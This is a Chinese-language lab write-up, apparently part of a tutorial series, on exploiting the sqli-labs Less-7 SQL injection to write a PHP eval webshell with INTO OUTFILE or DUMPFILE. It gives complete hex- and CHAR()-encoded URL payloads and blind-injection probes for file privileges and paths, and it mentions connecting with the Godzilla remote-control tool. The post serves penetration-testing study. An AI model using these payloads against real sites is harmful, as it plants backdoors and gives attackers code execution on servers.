前言:在SQL注入讲解的前期,我们先使用最经典的sqli-lab靶场进行分析。下面的场景是数据库已经获得FILE权限和没有secure_file_priv限制的理想情况,现实中是要自己通过某些网站配置问题进行提权的。
一、源码分析:Less-7 的注入点、闭合点与写文件入口
1. 页面功能与请求链路
- 后端接收 id 后直接拼接 SQL,无过滤、无预处理。
- 页面只返回两种结果:
- 成功:You are in…. Use outfile……
- 失败:You have an error in your SQL syntax
- 页面不回显 union select 的内容也没有报错,所以 Less-7 更适合盲注和文件写入
2. 关键源码解读
核心代码:


要点:
- 虽然不回显,但可以借助 INTO OUTFILE 把结果写到 Web 目录,从而拿到 WebShell。
3. 源码缺陷总结
- 数据库账号可能拥有过高权限。
- 没有限制 INTO OUTFILE、LOAD_FILE 等危险操作。
二、木马写入:从 INTO OUTFILE 到 WebShell
1. MySQL 文件读写基础
| LOAD_FILE('/path') | 读取文件 | 需要 FILE 权限,受 secure_file_priv 限制 |
| SELECT … INTO OUTFILE '/path' | 写文件 | 不能覆盖已存在文件,会添加列分隔符和换行 |
| SELECT … INTO DUMPFILE '/path' | 写单行文件 | 不格式化,适合二进制,但要求单行 |
| FILE 权限 | 全局权限 | 普通数据库账号通常没有 |
| secure_file_priv | 文件导入导出白名单 | 空=无限制;目录=仅该目录;NULL=禁止 |
写路径的时候需要注意,在 MySQL 字符串中,\\ 是转义符。windows操作系统中\\和/都是目录分隔符而linux操作系统中只认/(\\是普通字符),因而我们如果要使用\\就要进行转义写成\\\\,但还是建议优先使用/因为可以跨平台提高容错。但为什么我这里还是要讲\\\\这种写法呢?这是因为在渗透测试的过程中我们没办法确认哪种写法不会被过滤,多一种方法就多一个攻击面,这也是在文章0x0007讲时间盲注的时候为什么我还要提一嘴没什么用的笛卡尔积盲注。要知道在黑盒测试中我们并不能像白盒一样用狙击枪打一个固定的点,而是用一张大网捕捞整一个网站的漏洞,这张网能织多大就取决于大家的知识面有多广,所以在学习攻击手法的过程中要多了解其他思路。
2. Less-7 中读文件的限制
基础读文件 payload:
? id=–1')) union select 1,2,load_file('绝对路径')–+
问题:
- Less-7 不回显 union select 的结果。
- 即使 load_file 成功,页面也看不到内容。
- 可以尝试把读到的内容再 INTO OUTFILE 写到 Web 目录,再通过浏览器访问:
?id=–1')) union select 1,2,load_file('目标文件源绝对路径') into outfile '目标文件目的绝对路径'–+
但更常见的操作是:直接写入木马。
3. Less-7 写文件的闭合构造
原始 SQL:
SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1
写文件时,需要让原查询无结果,只写入我们构造的 union select 行,避免文件开头混入 users 表数据:
?id=–1')) union select 1,2,3 into outfile '目标文件目的绝对路径'–+
4. 一句话木马 payload 构造
目标木马:
<?php @eval($_POST[1]);?>
十六进制编码:
0x3c3f70687020406576616c28245f504f53545b315d293b3f3e
完整 payload:
?id=–1')) union select 0x3c3f70687020406576616c28245f504f53545b315d293b3f3e,0x20,0x20 into outfile '目标文件目的绝对路径'–+
前面的 <?php 会正常执行,后面的空格只是普通输出,不影响木马。


访问:
http://localhost/sqli/Less-7/shell.php
能够正常访问说明上传成功,接下来使用远控工具连接(这里使用哥斯拉),POST 参数为 1。


其他写法:
- 用 CHAR() 拼接:
union select concat(char(60,63,112,104,112,32,64,101,118,97,108,40,36,95,80,79,83,84,91,49,93,41,59,63,62)),0x20,0x20 into outfile '目标文件目的绝对路径'–+
- 用 INTO DUMPFILE:
?id=–1')) union select 0x3c3f70687020406576616c28245f504f53545b315d293b3f3e,0x20,0x20 into dumpfile '目标文件目的绝对路径'–+
注意:INTO DUMPFILE 对单行和列数要求更严格。
| 写入行数 | 所有行 | 仅一行 |
| 列分隔符 | 制表符 \\t | 无,直接拼接 |
| 行结束符 | 换行 \\n | 无 |
| 适合内容 | 文本表格 | 二进制、单行精确内容 |
5. 写入失败排查清单
| 没有 FILE 权限 | SHOW GRANTS、file_priv |
| secure_file_priv 限制 | 查询 @@secure_file_priv |
| 路径错误 | 查询 @@datadir、@@basedir,猜 Web 根目录 |
| 文件已存在 | INTO OUTFILE 不能覆盖,换文件名 |
| 引号被转义 | 用十六进制绕过 |
| DB 与 Web 分离 | 写的是 DB 服务器,不一定是 Web 服务器 |
| 目录不可写 | MySQL 进程用户权限不足 |
| SELinux/AppArmor | 限制 MySQL 写 Web 目录 |
| 容器环境 | 文件系统只读或未挂载 Web 目录 |
观察题目还可以发现这里存在布尔盲注,关于数据库上配置的限制(没有 FILE 权限、secure_file_priv 限制、路径错误)下面给出使用布尔盲注的排查方法,布尔盲注的使用在文章0x0006已经讲过,这里只给出payload。
-
没有 FILE 权限
排查点:file_priv
盲注方法:查询当前用户是否具有 FILE 权限。
- MySQL 5.7 及以下:查 mysql.user 表的 file_priv 字段,Y代表yes,N代表no。
- MySQL 8.0:查 information_schema.user_privileges。
MySQL 5.7示例:
— 判断用户名长度
length(current_user())=14
— 判断用户名
substr(current_user(),1,1)='r'
— 判断 root 是否有 FILE 权限
(SELECT COUNT(*) FROM mysql.user WHERE user='root' AND file_priv='Y') > 0
如果 MySQL 8.0,改用:
(SELECT COUNT(*) FROM information_schema.user_privileges
WHERE GRANTEE = CONCAT(CHAR(39), SUBSTRING_INDEX(CURRENT_USER(),'@',1), CHAR(39), '@', CHAR(39), SUBSTRING_INDEX(CURRENT_USER(),'@',–1), CHAR(39))
AND PRIVILEGE_TYPE = 'FILE') > 0
-
secure_file_priv 限制
排查点:@@secure_file_priv
盲注方法:判断该变量是 NULL、空字符串,还是某个目录。
布尔注入示例:
- 判断是否为 NULL(无权限):?id=-1')) or @@secure_file_priv IS NULL–+
- 判断是否为空字符串(有权限):?id=-1')) or @@secure_file_priv=''–+
- 逐字符获取具体值(部分目录有权限):?id=-1')) or substr(@@secure_file_priv,1,1)='D'–+
-
路径错误(辅助排查)
排查点:查询 @@datadir、@@basedir,猜 Web 根目录
盲注方法:逐字符获取这些系统变量的值,辅助推断数据库安装路径、操作系统类型,进而猜测 Web 根目录。
可盲注的变量:
- @@datadir:数据目录
- @@basedir:安装目录
布尔盲注示例:
# 判断路径长度
?id=-1')) or length(@@datadir)>10–+
# 判断路径
?id=-1')) or substr(@@datadir,1,1)='D'–+
通过逐字符猜解,可以得到网站的部分路径,从而辅助判断 Web 根目录可能在哪里。
三、现代网站应用场景:文件读写注入还存在吗?
1. 现代开发的变化
- 云数据库 / RDS:通常禁用 FILE、secure_file_priv 为 NULL。
- 容器化:Web 与 DB 分离,文件系统隔离。
- 最小权限:数据库账号不再给 FILE。
2. 预编译覆盖不到的地方、ORM / 框架误用
这点和文章0x0002闭合手法的情况类似,不多赘述。
3. 现代场景下的利用链
注意:现代云数据库通常无法直接写 Web 目录,因为 DB 与 Web 分离,且 FILE 权限被禁用。
后记:从布尔盲注开始到现在这几次文章里面的使用的工具比如BP的爆破功能和哥斯拉我都没有仔细讲,以后也没打算讲,因为这不是掌握原理的重点。但是大家要想把文章里面讲解的内容研究透彻,我非常建议去自学一下工具的使用然后实操一遍,因为渗透测试实操性非常强,光明白原理是绝对不够的。希望各位业内的老师傅能纠正文章的错误
(非商业用途,仅供交流学习,禁止转载)




